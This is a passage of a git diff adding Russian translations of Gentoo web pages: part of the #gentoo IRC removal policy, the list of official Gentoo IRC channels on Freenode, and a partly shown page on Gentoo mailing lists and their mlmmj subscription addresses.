+    отменяется. Если пользователя выгоняли трижды, его немедленно помещают в 
+    список AKICK.
+  </li>
+  <li>
+    Жалобы на удаление следует направлять <mail>ops@gentoo.org</mail>.
+  </li>
+  <li>
+    Открытое обсуждение должно проводиться в открытой рассылке gentoo-ops или 
+    на канале #gentoo-ops.
+  </li> 
+  <li>
+    AKICK &mdash; это серьезное удаление. Его можно отменить только 
+    единогласным решением всех действующих администраторов и персонала 
+    (исключая обсуждаемое лицо)!
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Связь с администраторами</title>
+<body>
+
+<p>
+Сейчас административные полномочия есть у следующих людей:
+</p>
+
+<ul>
+  <li>Astinus</li>
+  <li>avenj</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/main/ru/irc.xml b/xml/htdocs/main/ru/irc.xml
new file mode 100644
index 00000000..08c0403a
--- /dev/null
+++ b/xml/htdocs/main/ru/irc.xml
@@ -0,0 +1,394 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/ru/irc.xml,v 1.5 2007/03/16 10:40:45 neysx Exp $ -->
+
+<mainpage lang="ru">
+<title>IRC-каналы Gentoo Linux</title>
+<author title="редактор">
+  Colin Morey
+</author>
+<author title="редактор">
+  <mail link="klasikahl@gentoo.org">Zack Gilburd</mail>
+</author>
+<author title="редактор">
+  <mail link="avenj@gentoo.org">Jon Portnoy</mail>
+</author>
+<author title="редактор">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="редактор">
+  <mail link="fox2mike@gentoo.org">Shyam Mani</mail>
+</author>
+<author title="ответственный переводчик">
+  <mail link="achumakov@gentoo.org">Алексей Чумаков</mail>
+</author>
+
+<abstract>
+Официальные IRC-каналы Gentoo
+</abstract>
+
+<license/>
+
+<version>1.16</version>
+<date>2006-09-22</date>
+
+<chapter>
+<title>Релейный чат интернета (IRC)</title>
+<section>
+<body>
+
+<p>
+<b>IRC на сервере <uri link="http://www.freenode.org/">Freenode 
+(англ.)</uri>:</b>
+</p>
+
+<p>
+Каналы, перечисленные ниже, поддерживаются разработчиками и помощниками gentoo 
+для взаимного блага. Участие в работе каналов является добровольным, и доступно
+каждому. Заходите, не стесняясь, просто сказав Hello! Пожалуйста, поддерживайте 
+чистоту языка на #gentoo и #gentoo-dev. Соблюдайте правила (если есть) и 
+держитесь темы. Пользователи других каналов Gentoo имеют право устанавливать 
+свои собственные правила. Пожалуйста, ознакомьтесь с процедурами удаления,
+действующими на канале <uri link="irc-gentoo-policy.xml">#gentoo</uri>.
+Кроме того, пожалуйста, не устанавливайте на каналах Gentoo боты без 
+предварительного согласования с операторами каналов. Это относится и к 
+ботоподобным сценариям, таким как сценарии "seen". Не запускайте <c>ctcp 
+version</c> или что-то подобное для канала или пользователей без их ведома.
+</p>
+
+<warn>
+Беседа на всех каналах, где язык явно не указан, ведется только 
+<b>по-английски</b>! <e>&mdash; прим. пер.</e>
+</warn>
+
+<table>
+<tr>
+  <th>Русскоязычные каналы</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ru">#gentoo-ru</uri></ti>
+  <th>канал поддержки на русском языке</th>
+</tr>
+</table>
+
+<table>
+<tr>
+  <th>Общие каналы и каналы разработчиков</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo">#gentoo</uri></ti>
+  <th>общее обсуждение</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ops">#gentoo-ops</uri></ti>
+  <th>канал персонала, управляющего #gentoo; с проблемами о нем &mdash; вам сюда</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-bugs">#gentoo-bugs</uri></ti>
+  <th>качество Gentoo: исправление ошибок в дни BugDay</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-db">#gentoo-db</uri></ti>
+  <th>обсуждение и пакеты, относящиеся к базам данных</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-dev">#gentoo-dev</uri></ti>
+  <th>разговоры только о разработке</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-dev-help">#gentoo-dev-help</uri></ti>
+  <th>рабочее место составителей пакетов Ebuild</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-doc">#gentoo-doc</uri></ti>
+  <th>разработка документации Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-desktop">#gentoo-desktop</uri></ti>
+  <th>разработчики и пользователи, все о графической среде</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-security">#gentoo-security</uri></ti>
+  <th>обсуждение вопросов безопасности Gentoo Linux</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-cluster">#gentoo-cluster</uri></ti>
+  <th>кластеры Gentoo Linux</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-embedded">#gentoo-embedded</uri></ti>
+  <th>Gentoo Linux во встроенных системах</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-games">#gentoo-games</uri></ti>
+  <th>обсуждение/поддержка &laquo;родных&raquo; игр для Linux (не Cedega/Wine)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-haskell">#gentoo-haskell</uri></ti>
+  <th>пакеты Haskell</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-hardened">#gentoo-hardened</uri></ti>
+  <th>укрепленный Gentoo Linux</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-java">#gentoo-java</uri></ti>
+  <th>разговоры, связанные с Java</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-laptop">#gentoo-laptop</uri></ti>
+  <th>разговоры, связанные с ноутбуками</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-netmail">#gentoo-netmail</uri></ti>
+  <th>пакеты, связанные с почтой</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-netmon">#gentoo-netmon</uri></ti>
+  <th>пакеты слежения за сетью</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-php">#gentoo-php</uri></ti>
+  <th>обсуждение/поддержка PHP в Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-perl">#gentoo-perl</uri></ti>
+  <th>все о perl в Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-portage">#gentoo-portage</uri></ti>
+  <th>разработка Gentoo Portage</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-science">#gentoo-science</uri></ti>
+  <th>научный проект Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-server">#gentoo-server</uri></ti>
+  <th>чат о серверном применении</th>
+</tr>
+<tr>
+  <ti><uri 
+  link="irc://irc.freenode.net/gentoo-userreps">#gentoo-userreps</uri></ti>
+  <th>здесь можно найти и поговорить с представителями пользователей</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-web">#gentoo-web</uri></ti>
+  <th>все о веб и веб-приложениях (конечно, в Gentoo)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-voip">#gentoo-voip</uri></ti>
+  <th>обсуждение вопросов IP-телефонии</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ot">#gentoo-ot</uri></ti>
+  <th>беседы не по теме</th>
+</tr>
+</table>
+
+<table>
+<tr>
+  <th>Каналы обсуждения/поддержки платформ</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-alpha">#gentoo-alpha</uri></ti>
+  <th>Gentoo Linux/Alpha</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-amd64">#gentoo-amd64</uri></ti>
+  <th>Gentoo Linux/AMD64</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-arm">#gentoo-arm</uri></ti>
+  <th>Gentoo Linux/ARM</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-bsd">#gentoo-bsd</uri></ti>
+  <th>Gentoo *BSD</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-hppa">#gentoo-hppa</uri></ti>
+  <th>Gentoo Linux/HPPA</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-hurd">#gentoo-hurd</uri></ti>
+  <th>Gentoo Hurd</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ia64">#gentoo-ia64</uri></ti>
+  <th>Gentoo Linux/IA-64</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-mips">#gentoo-mips</uri></ti>
+  <th>Gentoo Linux/MIPS</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-osx">#gentoo-osx</uri></ti>
+  <th>Gentoo Linux/OSX</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ppc">#gentoo-ppc</uri></ti>
+  <th>Gentoo Linux/PPC</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ppc64">#gentoo-ppc64</uri></ti>
+  <th>Gentoo Linux/PPC64</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-sparc">#gentoo-sparc</uri></ti>
+  <th>Gentoo Linux/Sparc</th>
+</tr>
+</table>
+
+<table>
+<tr>
+ <th>Каналы проектов и подпроектов</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.freenode.net/gentoo-apache">#gentoo-apache</uri></ti>
+ <th>разговоры, связанные с разработкой Apache в Gentoo</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.freenode.net/gentoo-bugs">#gentoo-bugs</uri></ti>
+ <th>разговоры дня Bugday (первая суббота каждого месяца)</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.freenode.net/gentoo-events">#gentoo-events</uri></ti>
+ <th>планирование и чат в реальном времени во время публичных событий Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-eselect">#gentoo-eselect</uri></ti>
+  <th>модульная оснастка Gentoo для утилит администрирования и настройки</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.freenode.net/gentoo-installer">#gentoo-installer</uri></ti>
+ <th>разговор о Gentoo Installer</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.freenode.net/gentoo-kernel">#gentoo-kernel</uri></ti>
+ <th>обсуждение разработки ядра Gentoo</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.freenode.net/gentoo-mirrors">#gentoo-mirrors</uri></ti>
+ <th>разговор о зеркалах Gentoo и их администрировании</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.freenode.net/gentoo-releng">#gentoo-releng</uri></ti>
+ <th>разработка выпусков Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-gwn">#gentoo-gwn</uri></ti>
+  <th>еженедельник Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-forums">#gentoo-forums</uri></ti>
+  <th>разговор о форумах Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-commits">#gentoo-commits</uri></ti>
+  <th>информация о фиксации в Gentoo CVS/SVN в реальном времени</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-vdr">#gentoo-vdr</uri></ti>
+  <th>обсуждение цифровой видеозаписи и телевещания в Gentoo (VDR и DVB)</th>
+</tr>
+</table>
+
+<table>
+<tr>
+  <th>каналы поддержки на различных языках</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-be">#gentoo-be</uri></ti>
+  <th>бельгийский</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoobr">#gentoo-br</uri></ti>
+  <th>бразильский португальский</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-uk">#gentoo-uk</uri></ti>
+  <th>британский</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-nl">#gentoo-nl</uri></ti>
+  <th>голландский</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-el">#gentoo-el</uri></ti>
+  <th>греческий</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-dk">#gentoo-dk</uri></ti>
+  <th>датский</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-id">#gentoo-id</uri></ti>
+  <th>индонезийский</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-es">#gentoo-es</uri></ti>
+  <th>испанский</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-it">#gentoo-it</uri></ti>
+  <th>итальянский</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-cn">#gentoo-cn</uri></ti>
+  <th>китайский</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-tw">#gentoo-tw</uri></ti>
+  <th>китайский (Тайвань)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo.de">#gentoo.de</uri></ti>
+  <th>немецкий</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-no">#gentoo-no</uri></ti>
+  <th>норвежский</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo.pl">#gentoo.pl</uri></ti>
+  <th>польский</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-pt">#gentoo-pt</uri></ti>
+  <th>португальский</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ro">#gentoo-ro</uri></ti>
+  <th>румынский</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-fi">#gentoo-fi</uri></ti>
+  <th>финский</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoofr">#gentoofr</uri></ti>
+  <th>французский</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo.cs">#gentoo.cs</uri></ti>
+  <th>чешский и словацкий</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-se">#gentoo-se</uri></ti>
+  <th>шведский</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ua">#gentoo-ua</uri></ti>
+  <th>украинский</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ja">#gentoo-ja</uri></ti>
+  <th>японский</th>
+</tr>
+</table>
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/ru/lists.xml b/xml/htdocs/main/ru/lists.xml
new file mode 100644
index 00000000..0998d283
--- /dev/null
+++ b/xml/htdocs/main/ru/lists.xml
@@ -0,0 +1,655 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/ru/lists.xml,v 1.9 2007/08/19 16:14:02 pva Exp $ -->
+
+<mainpage lang="ru">
+<title>Почтовые рассылки Gentoo</title>
+
+<author title="автор">
+  <mail link="lcars@gentoo.org">Andrea Barisani</mail>
+</author>
+<author title="автор">
+  <mail link="cybersystem@gentoo.org">Sascha Schwabbauer</mail>
+</author>
+<author title="редактор">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="переводчик, редактор">
+  <mail link="achumakov@gentoo.org">Алексей Чумаков</mail>
+</author>
+<author title="переводчик">
+  <mail link="gentoo.integer@gmail.com">Integer</mail>
+</author>
+<author title="редактор">
+  <mail link="pva@gentoo.org">Пётр Волков</mail>
+</author>
+
+<abstract>
+Общедоступные почтовые рассылки Gentoo
+</abstract>
+
+<license/>
+<version>3.93</version>
+<date>2007-08-17</date>
+
+<chapter>
+<title>Введение в почтовые рассылки</title>
+<section>
+<body>
+
+<p>
+У открытого проекта разработки программного обеспечения Gentoo есть множество 
+общедоступных почтовых рассылок, охватывающих разнообразные темы, связанные с 
+Gentoo. Работа наших рассылок обеспечивается программой <uri 
+link="http://mlmmj.mmj.dk">mlmmj (англ.)</uri>. В соответствии с принятыми 
+соглашениями и современными стандартами на диспетчеры рассылок, в рассылаемых 
+сообщениях указывается заголовок <c>List-Id:</c>, а в поле темы проставляется 
+префикс вида <c>[названиерассылки]</c>.
+</p>
+
+<p>
+Взаимодействие с <c>mlmmj</c> происходит по электронной почте. Для подписки на 
+рассылку, отправьте пустое письмо по адресу:
+</p>
+
+<p><c>названиерассылки+subscribe@gentoo.org</c></p>
+
+<note>
+&laquo;названиерассылки&raquo; нужно заменять на действительное название 
+рассылки, на которую вы намерены подписаться.
+</note>
+
+<p>
+Подписавшись на рассылку, в неё можно писать, отправляя сообщения по адресу:
+</p>
+
+<p>
+<c>названиерассылки@gentoo.org</c>
+</p>
+
+<p>
+Чтобы отказаться от подписки, отправьте пустое сообщение по адресу:
+</p>
+
+<p>
+<c>названиерассылки+unsubscribe@gentoo.org</c>
+</p>
+
+<p>
+Для каждой рассылки существует соответствующая сводная рассылка. Сводные 
+рассылки вместо пересылки каждого письма по отдельности направляют вам
+одно сообщение, содержащее все письма, каждые несколько дней. Для подписки и
+отмены подписки (соответственно) на сводные рассылки, направляйте пустые письма
+по следующим адресам:
+</p>
+
+<p>
+<c>названиерассылки+subscribe-digest@gentoo.org</c><br/>
+<c>названиерассылки+unsubscribe-digest@gentoo.org</c>
+</p>
+
+<p>
+Некоторым пользователям нужна возможность просто писать в рассылку, но не 
+получать из неё сообщения (например, если используется другой способ чтения 
+рассылки, такой как gmane). Для них есть возможность подписки на любую рассылку 
+с параметром &laquo;nomail&raquo; (без почты): 
+</p>
+
+<p>
+<c>названиерассылки+subscribe-nomail@gentoo.org</c><br/>
+<c>названиерассылки+unsubscribe-nomail@gentoo.org</c>
+</p>
+
+<p>
+Получше узнать о возможностях mlmmj можно, отправив пустое сообщение по 
+такому адресу:
+</p>
+
+<p>
+<c>названиерассылки+help@gentoo.org</c><br/>
+</p>
+
+<p>
+Кроме того, чтобы освоиться с системой рассылок Gentoo, прочитайте краткий 
+сборник часто задаваемых вопросов о рассылках Gentoo, приведённый ниже.
+</p>
+
+<warn>
+Переписка во всех рассылках, где язык явно не указан, ведётся только 
+<b>по-английски</b>! <e>&mdash; прим. пер.</e>
+</warn>
+
+</body>
+</section>
+<section>
+<title>Русскоязычные рассылки Gentoo</title>
+<body>
+
+<table>
+<tr>
+  <th>Название рассылки</th>
+  <th>Описание</th>
+</tr>
+<tr>
+  <ti><c>gentoo-user-ru</c></ti>
+  <ti>рассылка для пользователей Gentoo, на русском языке</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-ru</c></ti>
+  <ti>рассылка проекта перевода документации Gentoo, на русском языке</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Основные рассылки Gentoo (на английском языке)</title>
+<body>
+
+<table>
+<tr>
+  <th>Название рассылки</th>
+  <th>Описание</th>
+</tr>
+<tr>
+  <ti><c>gentoo-user</c></ti>
+  <ti>общие вопросы поддержки пользователей и обсуждение Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-announce</c></ti>
+  <ti>общие объявления Gentoo (новые выпуски, исправления безопасности)</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-dev</c></ti>
+  <ti>общее обсуждение разработки Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-dev-announce</c></ti>
+  <ti>объявления, относящиеся к разработке Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-project</c></ti>
+  <ti>обсуждение не-технических вопросов Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-security</c></ti>
+  <ti>обсуждение вопросов и исправлений безопасности Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn</c></ti>
+  <ti>еженедельник Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc</c></ti>
+  <ti>публикация документации, обсуждение советов, улучшений и переводов</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-cvs</c></ti>
+  <ti>
+    подпишитесь на эту рассылку, чтобы получать уведомления об изменениях, 
+    касающихся документации
+  </ti> 
+</tr>
+<tr>
+  <ti><c>gentoo-translators</c></ti>
+  <ti>обсуждение вопросов перевода документации</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-ppc-user</c></ti>
+  <ti>поддержка пользователей и обсуждение Gentoo Linux/PowerPC</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-ppc-dev</c></ti>
+  <ti>обсуждение разработки Gentoo Linux/PowerPC</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-alpha</c></ti>
+  <ti>поддержка пользователей и обсуждение Gentoo Linux/Alpha</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-amd64</c></ti>
+  <ti>поддержка пользователей и обсуждение Gentoo Linux/AMD64</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-arm</c></ti>
+  <ti>обсуждение работы Gentoo в архитектуре ARM</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-hppa</c></ti>
+  <ti>обсуждение работы Gentoo в архитектуре HPPA</ti>
+</tr>	
+<tr>
+  <ti><c>gentoo-ia64</c></ti>
+  <ti>поддержка пользователей и обсуждение Gentoo Linux/ia64</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-mips</c></ti>
+  <ti>обсуждение работы Gentoo в архитектуре MIPS</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-sparc</c></ti>
+  <ti>поддержка пользователей и обсуждение Gentoo Linux/Sparc</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-bsd</c></ti>
+  <ti>обсуждение Gentoo/BSD</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-xbox</c></ti>
+  <ti>обсуждение Gentoo для Xbox</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-cygwin</c></ti>
+  <ti>поддержка пользователей и обсуждение Gentoo cygwin</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-alt</c></ti>
+  <ti>
+    обсуждение проекта <uri link="/proj/en/gentoo-alt/">Gentoo на 
+    альтернативных платформах (англ.)</uri>
+  </ti> 
+</tr>
+<tr>
+  <ti><c>gentoo-kernel</c></ti>
+  <ti>
+    объявления и обсуждение выпусков gentoo-sources, vesafb-tng и fbsplash</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-laptop</c></ti>
+  <ti>обсуждение энергосбережения, pcmcia и других вопросов по ноутбукам</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-desktop</c></ti>
+  <ti>посвящена графической среде Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-desktop-research</c></ti>
+  <ti>обсуждение вопросов повышения удобства графической среды Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-performance</c></ti>
+  <ti>вопросы повышения скорости Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-hardened</c></ti>
+  <ti>об укреплённой (по безопасности) версии Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-portage-dev</c></ti>
+  <ti>устройство Portage и обсуждение разработки интерфейса Portage</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-catalyst</c></ti>
+  <ti>рассылка, посвящённая catalyst</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-server</c></ti>
+  <ti>обсуждение применения Gentoo в промышленной (серверной) среде</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-admin</c></ti>
+  <ti>обсуждение вопросов администрирования Gentoo Linux</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-cluster</c></ti>
+  <ti>обсуждение применения Gentoo в кластерах</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-web-user</c></ti>
+  <ti>
+    обсуждение настройки и администрирования через веб-интерфейс, относящейся к
+    с веб-средствам Gentoo
+  </ti> 
+</tr>
+<tr>
+  <ti><c>gentoo-embedded</c></ti>
+  <ti>
+    обсуждение использования и разработки Gentoo Linux/embedded (для
+    встроенных систем)
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-releng</c></ti>
+  <ti>рассылка группы управления выпуском Gentoo (release management team)</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-pr</c></ti>
+  <ti>рассылка для любого обсуждения общественных связей Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-qa</c></ti>
+  <ti>обсуждение обеспечения качества Gentoo и улучшения этого вопроса</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-devrel</c></ti>
+  <ti>рассылка по вопросам взаимодействия с разработчиками Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-userrel</c></ti>
+  <ti>рассылка о взаимодействии с пользователями Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-council</c></ti>
+  <ti>рассылка Совета Gentoo (Gentoo Council)</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-mirrors</c></ti>
+  <ti>
+    объявления и обсуждение выпусков и других вопросов между администраторами 
+    зеркал и разработчиками
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-dev-lang</c></ti>
+  <ti>
+    обсуждение поддержки в Gentoo языков программирования и связанных вопросов
+  </ti> 
+</tr>
+<tr>
+  <ti><c>gentoo-perl</c></ti>
+  <ti>обсуждение perl в Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-java</c></ti>
+  <ti>обсуждение Java в Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-science</c></ti>
+  <ti>обсуждение научных прикладных программ и встраивания Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-media</c></ti>
+  <ti>обсуждение комплектов поставки (дистрибутивов) Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gnustep</c></ti>
+  <ti>обсуждение GNUstep в Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-installer</c></ti>
+  <ti>
+    обсуждение вопросов <uri link="/proj/en/releng/installer/">проекта 
+    разработки установщика Gentoo (англ.)</uri>
+  </ti> 
+</tr>
+<tr>
+  <ti><c>gentoo-accessibility</c></ti>
+  <ti>
+    обсуждение вопросов <uri link="/proj/en/desktop/accessibility/">проекта 
+    доступности Gentoo (англ.)</uri>
+  </ti> 
+</tr>
+<tr>
+  <ti><c>gentoo-scire</c></ti>
+  <ti>обсуждение <uri link="/proj/en/scire/">проекта среды настройки, установки и репликации систем</uri></ti>
+</tr>
+<tr>
+  <ti><c>gentoo-uk</c></ti>
+  <ti>
+    общение разработчиков из Великобритании и вопросы организации мероприятий в
+    Великобритании
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-au</c></ti>
+  <ti>общение разработчиков из Австралии и вопросы организации в Австралии</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-forum-translations</c></ti>
+  <ti>рассылка переводов форумов Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-soc</c></ti>
+  <ti>обсуждение деятельности Gentoo, связанной с Google's Summer of Code</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-devconference</c></ti>
+  <ti>обсуждения на конференции разработчиков Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-nx</c></ti>
+  <ti>обсуждение NX в Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-lisp</c></ti>
+  <ti>обсуждение Lisp в Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-vdr</c></ti>
+  <ti>обсуждение VDR в Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-nfp</c></ti>
+  <ti>обсуждение деятельности Gentoo NFP/Trustees</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Рассылки на других языках</title>
+<body>
+
+<table>
+<tr>
+  <th>Название рассылки</th>
+  <th>Описание</th>
+</tr>
+<tr>
+  <ti><c>gentoo-user-de</c></ti>
+  <ti>немецкая рассылка для пользователей Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-br</c></ti>
+  <ti>бразильская рассылка для пользователей Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-es</c></ti>
+  <ti>испанская рассылка для пользователей Gentoo</ti>
+</tr>
+<tr>   
+  <ti><c>gentoo-user-fr</c></ti>
+  <ti>французская рассылка для пользователей Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-hu</c></ti>
+  <ti>венгерская рассылка для пользователей Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-id</c></ti>
+  <ti>индонезийская рассылка для пользователей Gentoo</ti>
+</tr>
+<tr>   
+  <ti><c>gentoo-user-kr</c></ti>
+  <ti>корейская рассылка для пользователей Gentoo</ti>
+</tr>
+<tr>   
+  <ti><c>gentoo-user-pl</c></ti>
+  <ti>польская рассылка для пользователей Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-cs</c></ti>
+  <ti>чешская и словацкая рассылка для пользователей Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-de</c></ti>
